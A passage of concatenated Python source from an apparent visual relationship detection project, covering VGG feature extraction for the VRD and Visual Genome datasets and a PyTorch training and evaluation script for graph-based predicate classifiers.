== 'vrd' and data_type == 'pred': # ---------- vrd pred dataset ---------------# if use_ori_vgg: save_path = base_path + 'ori_vrd_vgg_feats' elif use_random_vgg: save_path = base_path + 'random_vrd_vgg_feats' else: save_path = base_path + 'vrd_vgg_feats' roidb_path = '../data/vrd_roidb.npz' elif dataset == 'vrd' and data_type == 'rela': if use_ori_vgg: save_path = base_path + 'ori_vrd_rela_vgg_feats' elif use_random_vgg: save_path = base_path + 'random_vrd_rela_vgg_feats' else: save_path = base_path + 'vrd_rela_vgg_feats' roidb_path = '../data/vrd_rela_roidb.npz' elif dataset == 'vg' and data_type == 'pred': # ----------- vg dataset ---------------# save_path = base_path + 'vg_vgg_feats' roidb_path = '../data/vg_roidb.npz' elif dataset == 'vg' and data_type == 'rela': # ----------- vg rela dataset ---------------# save_path = base_path + 'vg_rela_vgg_feats' roidb_path = '../data/vg_rela_roidb.npz' return save_path, roidb_path save_path, roidb_path = get_path(dataset, data_type, use_ori_vgg) # ============== vrd pred ==============# # # -------- read data --------------# roidb_read = read_roidb(roidb_path) train_roidb = roidb_read['train_roidb'] test_roidb = roidb_read['test_roidb'] # nodes: train | max: 21 | mean: 6.95423280423 | min: 1 # edges: train | max: 34 | mean: 8.03042328042 | min: 1 # nodes: test | max: 20 | mean: 7.00838574423 | min: 2 # edges: test | max: 41 | mean: 8.0 | min: 1 # ----- dsr --------# # nodes: train | max: 21 | mean: 6.95423280423 | min: 1 # edges: train | max: 30 | mean: 7.89867724868 | min: 1 # nodes: test | max: 20 | mean: 7.00838574423 | min: 2 # edges: test | max: 23 | mean: 7.82809224319 | min: 1 if dataset == 'vrd' and data_type == 'pred': pred_write_feat_into_roidb(save_path, train_roidb, test_roidb, dataset='vrd', edges_types=70) process_vrd_pred_instance_data(save_path) # ============== vrd rela ==============# # # -------- read data --------------# # roidb_read = read_roidb(roidb_path) # train_roidb = roidb_read['train_roidb'] # test_roidb = roidb_read['test_roidb'] # # # ipdb.set_trace() # # # nodes: train | max: 44 | mean: 14 | min: 1 # # # edges: train | max: 34 | mean: 8 | min: 1 # # # nodes: test | max: 96 | mean: 39.9381551363 | min: 9 # # # edges: test | max: 41 | mean: 8.0 | min: 1 # # dsr test rela # # nodes: test | max: 63 | mean: 8.071278826 | min: 2 # # edges: test | max: 23 | mean: 8.0 | min: 1 if dataset == 'vrd' and data_type == 'rela': rela_write_feat_into_roidb(save_path, train_roidb, test_roidb, dataset='vrd', edges_types=70) # process_vrd_rela_instance_data(save_path) # ============== vg pred ==============# # save_path, roidb_path = get_path('vg', 'pred') # # -------- read data --------------# # roidb_read = read_roidb(roidb_path) # train_roidb = roidb_read['train_roidb'] # test_roidb = roidb_read['test_roidb'] # # nodes: train | max: 98 | mean: 12.9205761986 | min: 1 # # edges: train | max: 490 | mean: 10.8853836355 | min: 1 # # nodes: test | max: 110 | mean: 13.1718230335 | min: 1 # # edges: test | max: 352 | mean: 11.0894500735 | min: 1 if dataset == 'vg' and data_type == 'pred': pred_write_feat_into_roidb(save_path, train_roidb, test_roidb, dataset='vg', edges_types=100) # pred_save_vgg_feat(save_path, train_roidb, test_roidb) # pred_write_feat_into_roidb(save_path, train_roidb, test_roidb, edges_types=100) # # ============== vg rela ==============# # save_path, roidb_path = get_path('vg', 'rela') # # -------- read data --------------# # roidb_read = read_roidb(roidb_path) # train_roidb = roidb_read['train_roidb'] # test_roidb = roidb_read['test_roidb'] # # nodes: train | max: 72 | mean: 16.3680922568 | min: 1 # # edges: train | max: 490 | mean: 10.8853836355 | min: 1 # # nodes: test | max: 90 | mean: 28.3761698507 | min: 2 # # edges: test | max: 352 | mean: 11.0894500735 | min: 1 # rela_save_vgg_feat(save_path, train_roidb, test_roidb) # rela_write_feat_into_roidb(save_path, train_roidb, test_roidb, edges_types=100) --- FILE SEPARATOR --- from __future__ import absolute_import from __future__ import division from __future__ import print_function import tensorflow as tf import tensorflow.contrib.slim as slim from tensorflow.contrib.slim import losses from tensorflow.contrib.slim import arg_scope from tensorflow.contrib.slim.python.slim.nets import resnet_utils from tensorflow.contrib.slim.python.slim.nets import resnet_v1 from tensorflow.contrib.slim.python.slim.nets.resnet_v1 import resnet_v1_block import numpy as np from ass_fun import * import ipdb import os class VTranse_Vgg(object): def __init__(self): self.predictions = {} self.losses = {} self.layers = {} self.feat_stride = [16, ] self.scope = 'vgg_16' def create_graph(self, batch_size, save_path): # extract subject and object feature # rela: test and pred: train & test self.image = tf.placeholder(tf.float32, shape=[1, None, None, 3]) self.sbox = tf.placeholder(tf.float32, shape=[batch_size, 4]) #[x1, y1, x2, y2] self.obox = tf.placeholder(tf.float32, shape=[batch_size, 4]) #[x1, y1, x2, y2] self.sub_sp_info = tf.placeholder(tf.float32, shape=[batch_size, 4]) # ??? self.ob_sp_info = tf.placeholder(tf.float32, shape=[batch_size, 4]) # self.rela_label = tf.placeholder(tf.int32, shape=[batch_size,]) self.keep_prob = tf.placeholder(tf.float32) self.save_path = save_path self.batch_size = batch_size self.build_dete_network() def build_dete_network(self, is_training=True): # get the region conv and fc features # the classfication probabilities and ids net_conv = self.image_to_head(is_training) net_pool5 = self.crop_bottom_layer(net_conv, "pool5") # [n, 7, 7] sub_pool5 = self.crop_pool_layer(net_conv, self.sbox, "sub_pool5") # [n, 7, 7] ob_pool5 = self.crop_pool_layer(net_conv, self.obox, "ob_pool5") # [n, 7, 7] net_fc7 = self.head_to_tail(net_pool5, is_training, reuse = False) # [n, 4096] sub_fc7 = self.head_to_tail(sub_pool5, is_training, reuse = True) # [n, 4096] ob_fc7 = self.head_to_tail(ob_pool5, is_training, reuse = True) # [n, 4096] # --------new added----------------# pred_pool5 = self.crop_union_pool_layer(net_conv, self.sbox, self.obox, "pred_pool5") # [n, 7, 7] # pred_fc7 = self.head_to_tail(pred_pool5, is_training, reuse = True) pred_fc7 = self.head_to_mean_tail(pred_pool5, is_training, reuse = True) self.layers['sub_pool5'] = sub_pool5 self.layers['ob_pool5'] = ob_pool5 self.layers['sub_fc7'] = sub_fc7 self.layers['ob_fc7'] = ob_fc7 self.layers['pool5'] = net_pool5 self.layers['fc7'] = net_fc7 # --------new added----------------# self.layers['pred_pool5'] = pred_pool5 self.layers['pred_fc7'] = pred_fc7 def image_to_head(self, is_training, reuse=False): with tf.variable_scope(self.scope, self.scope, reuse=reuse): net = slim.repeat(self.image, 2, slim.conv2d, 64, [3, 3], trainable=is_training, scope='conv1') net = slim.max_pool2d(net, [2, 2], padding='SAME', scope='pool1') net = slim.repeat(net, 2, slim.conv2d, 128, [3, 3], trainable=is_training, scope='conv2') net = slim.max_pool2d(net, [2, 2], padding='SAME', scope='pool2') net = slim.repeat(net, 3, slim.conv2d, 256, [3, 3], trainable=is_training, scope='conv3') net = slim.max_pool2d(net, [2, 2], padding='SAME', scope='pool3') net = slim.repeat(net, 3, slim.conv2d, 512, [3, 3], trainable=is_training, scope='conv4') net = slim.max_pool2d(net, [2, 2], padding='SAME', scope='pool4') net_conv = slim.repeat(net, 3, slim.conv2d, 512, [3, 3], trainable=is_training, scope='conv5') self.layers['head'] = net_conv return net_conv def head_to_tail(self, pool5, is_training, reuse=False): with tf.variable_scope(self.scope, self.scope, reuse=reuse): pool5_flat = slim.flatten(pool5, scope='flatten') #[n, 49] fc6 = slim.fully_connected(pool5_flat, 4096, scope='fc6') fc6 = slim.dropout(fc6, keep_prob=self.keep_prob, is_training=True, scope='dropout6') fc7 = slim.fully_connected(fc6, 4096, scope='fc7') fc7 = slim.dropout(fc7, keep_prob=self.keep_prob, is_training=True, scope='dropout7') return fc7 def head_to_mean_tail(self, pool5, is_training, reuse=False): mean_fc7 = tf.reduce_mean(tf.reduce_mean(pool5, axis=2), axis=1) return mean_fc7 def crop_pool_layer(self, bottom, rois, name): """ Notice that the input rois is a N*4 matrix, and the coordinates of x,y should be original x,y times im_scale. """ with tf.variable_scope(name) as scope: n=tf.to_int32(rois.shape[0]) batch_ids = tf.zeros([n,],dtype=tf.int32) # Get the normalized coordinates of bboxes bottom_shape = tf.shape(bottom) height = (tf.to_float(bottom_shape[1]) - 1.) * np.float32(self.feat_stride[0]) width = (tf.to_float(bottom_shape[2]) - 1.) * np.float32(self.feat_stride[0]) # separate the (x1, y1, x2, y2) of the bounding boxes' coordinates x1 = tf.slice(rois, [0, 0], [-1, 1], name="x1") / width y1 = tf.slice(rois, [0, 1], [-1, 1], name="y1") / height x2 = tf.slice(rois, [0, 2], [-1, 1], name="x2") / width y2 = tf.slice(rois, [0, 3], [-1, 1], name="y2") / height # Won't be back-propagated to rois anyway, but to save time bboxes = tf.stop_gradient(tf.concat([y1, x1, y2, x2], 1)) #[n, 4] crops = tf.image.crop_and_resize(bottom, bboxes, tf.to_int32(batch_ids), [7*2, 7*2], method='bilinear', name="crops") pooling = max_pool(crops, 2, 2, 2, 2, name="max_pooling") return pooling def crop_union_pool_layer(self, bottom, rois_s, rois_o, name): """ Notice that the input rois is a N*4 matrix, and the coordinates of x,y should be original x,y times im_scale. """ with tf.variable_scope(name) as scope: n=tf.to_int32(rois_s.shape[0]) batch_ids = tf.zeros([n,],dtype=tf.int32) # Get the normalized coordinates of bboxes bottom_shape = tf.shape(bottom) height = (tf.to_float(bottom_shape[1]) - 1.) * np.float32(self.feat_stride[0]) width = (tf.to_float(bottom_shape[2]) - 1.) * np.float32(self.feat_stride[0]) # separate the (x1, y1, x2, y2) of the bounding boxes' coordinates x1_s = tf.slice(rois_s, [0, 0], [-1, 1], name="x1_s") y1_s = tf.slice(rois_s, [0, 1], [-1, 1], name="y1_s") x2_s = tf.slice(rois_s, [0, 2], [-1, 1], name="x2_s") y2_s = tf.slice(rois_s, [0, 3], [-1, 1], name="y2_s") x1_o = tf.slice(rois_o, [0, 0], [-1, 1], name="x1_o") y1_o = tf.slice(rois_o, [0, 1], [-1, 1], name="y1_o") x2_o = tf.slice(rois_o, [0, 2], [-1, 1], name="x2_o") y2_o = tf.slice(rois_o, [0, 3], [-1, 1], name="y2_o") x1 = tf.minimum(x1_s, x1_o, name="x1") / width y1 = tf.minimum(y1_s, y1_o, name="y1") / height x2 = tf.maximum(x2_s, x2_o, name="x2") / width y2 = tf.maximum(y2_s, y2_o, name="y2") / height # Won't be back-propagated to rois anyway, but to save time bboxes = tf.stop_gradient(tf.concat([y1, x1, y2, x2], 1)) #[n, 4] crops = tf.image.crop_and_resize(bottom, bboxes, tf.to_int32(batch_ids), [7*2, 7*2], method='bilinear', name="crops") pooling = max_pool(crops, 2, 2, 2, 2, name="max_pooling") return pooling def crop_bottom_layer(self, bottom, name): """ Notice that the input rois is a N*4 matrix, and the coordinates of x,y should be original x,y times im_scale. """ with tf.variable_scope(name) as scope: # Get the normalized coordinates of bboxes resized = tf.image.resize_images(bottom, [7*2, 7*2]) pooling = max_pool(resized, 2, 2, 2, 2, name="max_pooling") return pooling def extract_pred_fc(self, sess, roidb_use, is_rela=False): im, im_scale = im_preprocess(roidb_use['image']) if is_rela: batch_num = len(roidb_use['index_rela'])/self.batch_size else: batch_num = len(roidb_use['index_pred'])/self.batch_size layers = [] keys = ['pred_pool5', 'pred_fc7', 'pool5', 'fc7', 'sub_fc7', 'ob_fc7'] for k in keys: check_path_exists(os.path.join(self.save_path, k)) for batch_id in range(np.int32(batch_num)): if is_rela: blob = get_blob_rela(roidb_use, im_scale, self.batch_size, batch_id) else: blob = get_blob_pred(roidb_use, im_scale, self.batch_size, batch_id) feed_dict = {self.image: im, self.sbox: blob['sub_box'], self.obox: blob['obj_box'], self.keep_prob: 1} layer = sess.run(self.layers, feed_dict = feed_dict) layer_feat = map(lambda x: layer[x], keys) layers.append(layer_feat) pred_pool5 = [] pred_fc7 = [] pool5 = [] fc7 = [] sub_fc7 = [] ob_fc7 = [] for i in range(len(layers)): pred_pool5.append(layers[i][0]) pred_fc7.append(layers[i][1]) pool5.append(layers[i][2]) fc7.append(layers[i][3]) sub_fc7.append(layers[i][4]) ob_fc7.append(layers[i][5]) pred_pool5 = np.concatenate(pred_pool5, 0) pred_fc7 = np.concatenate(pred_fc7, 0) pool5 = np.concatenate(pool5, 0) fc7 = np.concatenate(fc7, 0) sub_fc7 = np.concatenate(sub_fc7, 0) ob_fc7 = np.concatenate(ob_fc7, 0) if is_rela: n_total = len(roidb_use['rela_dete']) else: n_total = len(roidb_use['rela_gt']) pred_pool5_full_save_path = os.path.join(self.save_path, 'pred_pool5', os.path.basename(roidb_use['image'])) pred_fc7_full_save_path = os.path.join(self.save_path, 'pred_fc7', os.path.basename(roidb_use['image'])) pool5_full_save_path = os.path.join(self.save_path, 'pool5', os.path.basename(roidb_use['image'])) fc7_full_save_path = os.path.join(self.save_path, 'fc7', os.path.basename(roidb_use['image'])) sub_fc7_full_save_path = os.path.join(self.save_path, 'sub_fc7', os.path.basename(roidb_use['image'])) ob_fc7_full_save_path = os.path.join(self.save_path, 'ob_fc7', os.path.basename(roidb_use['image'])) np.save(pred_pool5_full_save_path, pred_pool5[:n_total]) np.save(pred_fc7_full_save_path, pred_fc7[:n_total]) np.save(pool5_full_save_path, pool5[:n_total]) np.save(fc7_full_save_path, fc7[:n_total]) np.save(sub_fc7_full_save_path, sub_fc7[:n_total]) np.save(ob_fc7_full_save_path, ob_fc7[:n_total]) print("{0} processed!".format(roidb_use['image'])) return def max_pool(x, h, w, s_y, s_x, name, padding='SAME'): return tf.nn.max_pool(x, ksize=[1,h,w,1], strides=[1, s_x, s_y, 1], padding=padding, name=name) --- FILE SEPARATOR --- from __future__ import division from __future__ import print_function import time import argparse import pickle import os import torch.optim as optim from torch.optim import lr_scheduler import torch.nn.functional as F from modules import * from eval_metrics import * from utils import * from DataLoader import * import ipdb from tqdm import tqdm # from visualize import Visualizer parser = argparse.ArgumentParser() parser.add_argument('--no-cuda', action='store_true', default=False, help='Disables CUDA training.') parser.add_argument('--seed', type=int, default=42, help='Random seed.') parser.add_argument('--epochs', type=int, default=30, help='Number of epochs to train.') parser.add_argument('--batch-size', type=int, default=32, help='Number of samples per batch.') parser.add_argument('--eval-batch-size', type=int, default=32, help='Number of samples per batch.') parser.add_argument('--lr', type=float, default=0.0005, help='Initial learning rate.') parser.add_argument('--hidden', type=int, default=512, help='Number of hidden units.') parser.add_argument('--num-atoms', type=int, default=110, help='Number of atoms in simulation.') parser.add_argument('--rela-num-atoms', type=int, default=63, help='Number of atoms in simulation.') parser.add_argument('--num-edges', type=int, default=490, help='Number of atoms in simulation.') parser.add_argument('--encoder', type=str, default='simple', help='Type of path encoder model(simple or nmp).') parser.add_argument('--dropout', type=float, default=0.5, help='Dropout rate (1 - keep probability).') parser.add_argument('--log-interval', type=int, default=5, metavar='N', help='How many batches to wait before logging.') parser.add_argument('--edge-types', type=int, default=101, help='The number of edge types to infer.') parser.add_argument('--dims', type=int, default=4396, help='The number of dimensions. 320/4396') parser.add_argument('--save-folder', type=str, default='./checkpoints/vg', help='Where to save the trained model.') parser.add_argument('--load-folder', type=str, default='', help='Where to load the trained model.') parser.add_argument('--lr-decay', type=int, default=5, help='After how epochs to decay LR by a factor of gamma') parser.add_argument('--gamma', type=float, default=0.5, help='LR decay factor') parser.add_argument('--weight', type=float, default=0, help='Use motion capture data loader.') parser.add_argument('--mode', type=str, default='whole', help='Use motion capture data loader.') parser.add_argument('--restore', action='store_true', default=False, help='Restore the trained model from the load-folder.') parser.add_argument('--shuffle', action='store_true', default=False, help='Shuffle the data in the dataloader.') parser.add_argument('--feat-mode', type=str, default='full', help='feature mode: full, vis, or sem') parser.add_argument('--n-iter', type=int, default=3, help='How many times of the node edge transfer information.') parser.add_argument('--prior', action='store_true', default=False, help='Ranking loss') parser.add_argument('--tail', type=str, default='base', help='special name') parser.add_argument('--ori-vgg', action='store_true', default=False, help='original vgg') parser.add_argument('--use-loc', action='store_true', default=False, help='use location coordinates') parser.add_argument('--use-cls', action='store_true', default=False, help='add a classification layer and use the confidence score as feature') parser.add_argument('--node-types', type=int, default=201, help='The number of node types to infer.') # ===================== Args Definition =======================# args = parser.parse_args() # vis = Visualizer(env='vg_'+args.encoder+'_'+args.tail) # ---------- ground truth path --# graph_path = './data/vg_pred_graph_roidb.npz' graph_roidb = read_roidb(graph_path) train_roidb = graph_roidb['train'] val_roidb = graph_roidb['test'] test_roidb = graph_roidb['test'] # ipdb.set_trace() # ------------------------------------# if args.feat_mode == 'full': use_vis = True use_sem = True elif args.feat_mode == 'vis': use_vis = True use_sem = False elif args.feat_mode == 'sem': use_vis = False use_sem = True else: use_vis = False use_sem = False print('No feature input') args.cuda = not args.no_cuda and torch.cuda.is_available() print(args) np.random.seed(args.seed) torch.manual_seed(args.seed) if args.cuda: torch.cuda.manual_seed(args.seed) log = None # Save model and meta-data. Always saves in a new folder. if args.save_folder: if args.restore: pass else: exp_counter = 0 save_folder = os.path.join(args.save_folder, '{}_{}_{}_exp{}'.format(args.encoder, args.feat_mode, \ args.tail, exp_counter)) while os.path.isdir(save_folder): exp_counter += 1 save_folder = os.path.join(args.save_folder, '{}_{}_{}_exp{}'.format(args.encoder, args.feat_mode, \ args.tail, exp_counter)) os.mkdir(save_folder) meta_file = os.path.join(save_folder, 'metadata.pkl') model_file = os.path.join(save_folder, 'temp.pt') best_model_file = os.path.join(save_folder, 'encoder.pt') log_file = os.path.join(save_folder, 'log.txt') log = open(log_file, 'w') pickle.dump({'args': args}, open(meta_file, "wb")) print("save_folder: {}".format(save_folder)) else: print("Save_folder: {}".format(save_folder)) if args.load_folder: load_folder = os.path.join('./checkpoints/vg', args.encoder +'_' + args.feat_mode +'_'+ args.tail + '_' + args.load_folder) meta_file = os.path.join(load_folder, 'metadata.pkl') model_file = os.path.join(load_folder, 'temp.pt') best_model_file = os.path.join(load_folder, 'encoder.pt') log_file = os.path.join(load_folder, 'log_new.txt') log = open(log_file, 'w') pickle.dump({'args': args}, open(meta_file, "wb")) if args.restore: save_folder = load_folder else: load_folder = save_folder print("Load_folder: {}".format(load_folder)) # ===================== Model Definition ========================# if args.encoder == 'simple': model = SimpleEncoder(args.hidden, edge_types=args.edge_types, node_types=args.node_types, do_prob=args.dropout, use_vis=use_vis, use_spatial=False, use_sem=use_sem, use_loc=args.use_loc, use_cls=args.use_cls) elif args.encoder == 'nmp': model = NMPEncoder(args.hidden, edge_types=args.edge_types, node_types=args.node_types, n_iter=args.n_iter, do_prob=args.dropout, use_vis=use_vis, use_spatial=False, use_sem=use_sem, use_loc=args.use_loc, use_cls=args.use_cls) if args.cuda: model.cuda() # optimizer = optim.Adam(model.parameters(), lr=args.lr, weight_decay=0.0005) optimizer = optim.RMSprop(model.parameters(), lr=args.lr, alpha=0.99, eps=1e-08, weight_decay=0.0005, momentum=0, centered=False) scheduler = lr_scheduler.StepLR(optimizer, step_size=args.lr_decay, gamma=args.gamma) # --------------- Parameters Loader ------------------# best_model_params = model.state_dict() if args.restore: model.load_state_dict(torch.load(model_file)) # ================== Data Loader ================================# train_loader, val_loader, test_loader = load_dataset(data_set='vg', ori_vgg=args.ori_vgg, dataset='pred', level='image', batch_size=args.batch_size, eval_batch_size=args.batch_size, shuffle=args.shuffle, feat_mode=args.feat_mode) # ================== Loss Weights ===============================# cls_ws_train = np.array(np.concatenate([np.ones(args.edge_types-1), [args.weight]],0), dtype=np.float32) cls_ws_test = np.array(np.concatenate([np.ones(args.edge_types-1), [0]],0), dtype=np.float32) cls_ws_train = torch.FloatTensor(cls_ws_train) cls_ws_test = torch.FloatTensor(cls_ws_test) if args.cuda: cls_ws_train = cls_ws_train.cuda() cls_ws_test = cls_ws_test.cuda() cls_ws_train = Variable(cls_ws_train, requires_grad=False) cls_ws_test = Variable(cls_ws_test, requires_grad=False) # =============== iterate one epoch =====================# def iter_one_epoch(roidb, data_loader, batch_size, is_rela=False, is_training=True): loss_all = [] recall_50 = 0.0 recall_100 = 0.0 edge_loss_all = [] edge_acc_all = [] node_loss_all = [] node_acc_all = [] pbar = tqdm(total=len(data_loader.dataset)) if is_rela: num_nodes = args.rela_num_atoms num_edges = num_nodes * (num_nodes - 1) else: num_nodes = args.num_atoms num_edges = args.num_edges pred_probs = np.zeros([len(data_loader.dataset), num_edges]) pred_cls = np.zeros([len(data_loader.dataset), num_edges]) + args.edge_types - 1 for batch_idx, (data, target, node_cls, edge_feats, rel_rec, rel_send, bbox_loc, prior) in enumerate(data_loader): if args.cuda: data, target, edge_feats = data.cuda(), target.cuda(), edge_feats.cuda() rel_rec, rel_send = rel_rec.cuda(), rel_send.cuda() prior = prior.cuda() node_cls = node_cls.cuda() bbox_loc = bbox_loc.cuda() # --------- optimize ------------# if is_training: optimizer.zero_grad() # --------- Forward -----------# output, node_output = model(data, edge_feats, rel_rec, rel_send, bbox_loc) output = output.view(-1, args.edge_types) node_output = node_output.view(-1, args.node_types) if args.prior: prior = prior.view(-1, args.edge_types) rel_score = prior + output # --------- loss ----------------# target = target.view(-1) node_cls = node_cls.view(-1) if args.prior: edge_loss = F.multi_margin_loss(rel_score, target, weight=cls_ws_train, size_average=False) edge_count = args.edge_types / (target < args.edge_types-1).data.sum() loss = edge_loss * edge_count else: edge_loss = F.cross_entropy(output, target, ignore_index=args.edge_types-1) node_loss = F.cross_entropy(node_output, node_cls, ignore_index=args.node_types-1) if args.use_cls: loss = edge_loss + node_loss else: loss = edge_loss # -------- backward --------------# if is_training: # vis.plot_many_stack({'train_loss': loss.data.cpu().numpy()[0]}) loss.backward() optimizer.step() # ============= accuracy ==============# # ------ edge acc -------# edge_acc = compute_acc(output, target, ignored_index=args.edge_types-1) node_acc = compute_acc(node_output, node_cls, ignored_index=args.node_types-1) edge_acc_all.append(edge_acc) node_acc_all.append(node_acc) loss_all.append(loss.item()) edge_loss_all.append(edge_loss.item()) node_loss_all.append(node_loss.item()) # --------- save ---------------# output = F.softmax(output, dim=-1) output = output.view(-1, num_edges, args.edge_types) pred_prob, pred_cl = output.max(-1) if (batch_idx+1)*batch_size > len(data_loader.dataset): pred_probs[batch_idx*batch_size:] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:] = pred_cl.data.cpu().numpy() else: pred_probs[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_cl.data.cpu().numpy() pbar.update(batch_size) pbar.close() if is_rela: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='rela', topk=False) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='rela', topk=False, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='rela', topk=False, dataset='vg') else: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='pred', topk=False) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='pred', topk=False, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='pred', topk=False, dataset='vg') if not is_training: if is_rela: head = 'rela_' else: head = 'pred_' np.savez(os.path.join(load_folder, head + 'roidb'), pred_roidb) return loss_all, edge_loss_all, node_loss_all, edge_acc_all, node_acc_all, recall_50, recall_100, pred_roidb # =============== Train Op ==============================# def train(epoch, best_val_accuracy): t = time.time() loss_train = [] edge_loss_train = [] node_loss_train = [] edge_acc_train = [] node_acc_train = [] recall_train = 0.0 loss_val = [] edge_loss_val = [] node_loss_val = [] edge_acc_val = [] node_acc_val = [] recall_val = 0.0 rela_loss_val = [] rela_acc_val = [] rela_recall_50 = 0.0 rela_recall_100 = 0.0 model.train() scheduler.step() loss_train, edge_loss_train, node_loss_train, edge_acc_train, node_acc_train, recall_train, _, pred_roidb_train = \ iter_one_epoch(train_roidb, train_loader, args.batch_size, is_training=True) model.eval() loss_val, edge_loss_val, node_loss_val, edge_acc_val, node_acc_val, recall_val, _, pred_roidb_val = \ iter_one_epoch(val_roidb, val_loader, args.batch_size, is_training=False) if args.use_cls: print('Epoch: {:04d}'.format(epoch), 'loss_train: {:.04f}'.format(np.mean(loss_train)), 'edge_loss_train : {:.04f}'.format(np.mean(edge_loss_train)), 'node_loss_train : {:.04f}'.format(np.mean(node_loss_train)), 'edge_acc_train: {:.04f}'.format(np.mean(edge_acc_train)), 'node_acc_train: {:.04f}'.format(np.mean(node_acc_train)), 'recall_train: {:.04f}'.format(recall_train)) print('loss_val: {:.04f}'.format(np.mean(loss_val)), 'edge_loss_val : {:.04f}'.format(np.mean(edge_loss_val)), 'node_loss_val : {:.04f}'.format(np.mean(node_loss_val)), 'edge_acc_val: {:.04f}'.format(np.mean(edge_acc_val)), 'node_acc_val: {:.04f}'.format(np.mean(node_acc_val)), 'recall_val: {:.04f}'.format(recall_val), 'time: {:.4f}s'.format(time.time() - t)) else: print('Epoch: {:04d}'.format(epoch), 'loss_train: {:.04f}'.format(np.mean(loss_train)), 'acc_train: {:.04f}'.format(np.mean(edge_acc_train)), 'recall_train: {:.04f}'.format(recall_train), 'loss_val: {:.04f}'.format(np.mean(loss_val)), 'acc_val: {:.04f}'.format(np.mean(edge_acc_val)), 'recall_val: {:.04f}'.format(recall_val), 'time: {:.4f}s'.format(time.time() - t)) torch.save(model.state_dict(), model_file) if args.save_folder and recall_val > best_val_accuracy: torch.save(model.state_dict(), best_model_file) print('--------------Best model so far---------------') print('Epoch: {:04d}'.format(epoch), 'loss_train: {:.04f}'.format(np.mean(loss_train)), 'acc_train: {:.04f}'.format(np.mean(edge_acc_train)), 'recall_train: {:.04f}'.format(recall_train), 'loss_val: {:.04f}'.format(np.mean(loss_val)), 'acc_val: {:.04f}'.format(np.mean(edge_acc_val)), 'recall_val: {:.04f}'.format(recall_val)) print('Epoch: {:04d}'.format(epoch), 'loss_train: {:.04f}'.format(np.mean(loss_train)), 'acc_train: {:.04f}'.format(np.mean(edge_acc_train)), 'recall_train: {:.04f}'.format(recall_train), 'loss_val: {:.04f}'.format(np.mean(loss_val)), 'acc_val: {:.04f}'.format(np.mean(edge_acc_val)), 'recall_val: {:.04f}'.format(recall_val), 'time: {:.4f}s'.format(time.time() - t), file=log) log.flush() return recall_val def eval(roidb, test_loader, is_rela=False): t = time.time() loss_test = [] edge_acc_test = [] node_acc_test = [] model.eval() if args.mode == 'eval': model.load_state_dict(torch.load(best_model_file)) else: model.load_state_dict(torch.load(model_file)) if is_rela: num_nodes = args.rela_num_atoms num_edges = num_nodes * (num_nodes - 1) batch_size = args.eval_batch_size else: num_nodes = args.num_atoms num_edges = args.num_edges batch_size = args.batch_size pred_probs = np.zeros([len(test_loader.dataset), num_edges]) pred_cls = np.zeros([len(test_loader.dataset), num_edges]) + args.edge_types - 1 pbar = tqdm(total = len(test_loader.dataset)) for batch_idx, (data, target, node_cls, edge_feats, rel_rec, rel_send, bbox_loc, prior) in enumerate(test_loader): if args.cuda: data, target, edge_feats = data.cuda(), target.cuda(), edge_feats.cuda() rel_rec, rel_send = rel_rec.cuda(), rel_send.cuda() node_cls, bbox_loc = node_cls.cuda(), bbox_loc.cuda() data = data[:, :, :].contiguous() with torch.no_grad(): output, node_output = model(data, edge_feats, rel_rec, rel_send, bbox_loc) output = output.view(-1, args.edge_types) node_output = node_output.view(-1, args.node_types) edge_acc = compute_acc(output, target.view(-1), ignored_index=args.edge_types-1) node_acc = compute_acc(node_output, node_cls.view(-1), ignored_index=args.node_types-1) edge_acc_test.append(edge_acc) node_acc_test.append(node_acc) output = F.softmax(output, dim=-1) output = output.view(-1 , num_edges, args.edge_types) pred_prob, pred_cl = output.max(-1) if (batch_idx+1)*batch_size > len(test_loader.dataset): pred_probs[batch_idx*batch_size:] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:] = pred_cl.data.cpu().numpy() else: pred_probs[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_prob.data.cpu().numpy() pred_cls[batch_idx*batch_size:(batch_idx+1)*batch_size] = pred_cl.data.cpu().numpy() pbar.update(batch_size) pbar.close() if args.use_cls: print('[acc] edge_acc_test: {:.04f} node_acc_test: {:.04f}'.format(np.mean(edge_acc_test), np.mean(node_acc_test))) # print('--------Eval-----------------') if is_rela: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='rela', level='image', topk=False) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='rela', topk=False, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='rela', topk=False, dataset='vg') zs_recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=True, mode='rela', topk=False, dataset='vg') zs_recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=True, mode='rela', topk=False, dataset='vg') # np.savez(os.path.join(load_folder, 'rela_roidb'), pred_roidb) print('[rela_eval] recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100), file=log) print('[zs_rela_eval] recall_50: {:.4f} recall_100: {:.4f}'.format(zs_recall_50, zs_recall_100), file=log) else: pred_roidb = graph_npy2roidb(roidb, pred_probs, pred_cls, mode='pred', level='image', topk=False) recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=False, mode='pred', topk=False, dataset='vg') recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=False, mode='pred', topk=False, dataset='vg') zs_recall_50 = eval_result(roidb, pred_roidb['pred_roidb'], 50, is_zs=True, mode='pred', topk=False, dataset='vg') zs_recall_100 = eval_result(roidb, pred_roidb['pred_roidb'], 100, is_zs=True, mode='pred', topk=False, dataset='vg') np.savez(os.path.join(load_folder, 'pred_roidb'), pred_roidb) print('[pred_eval] recall_50: {:.4f} recall_100: {:.4f}'.format(recall_50, recall_100), file=log) print('[zs_pred_eval] recall_50: {:.4f} recall_100: 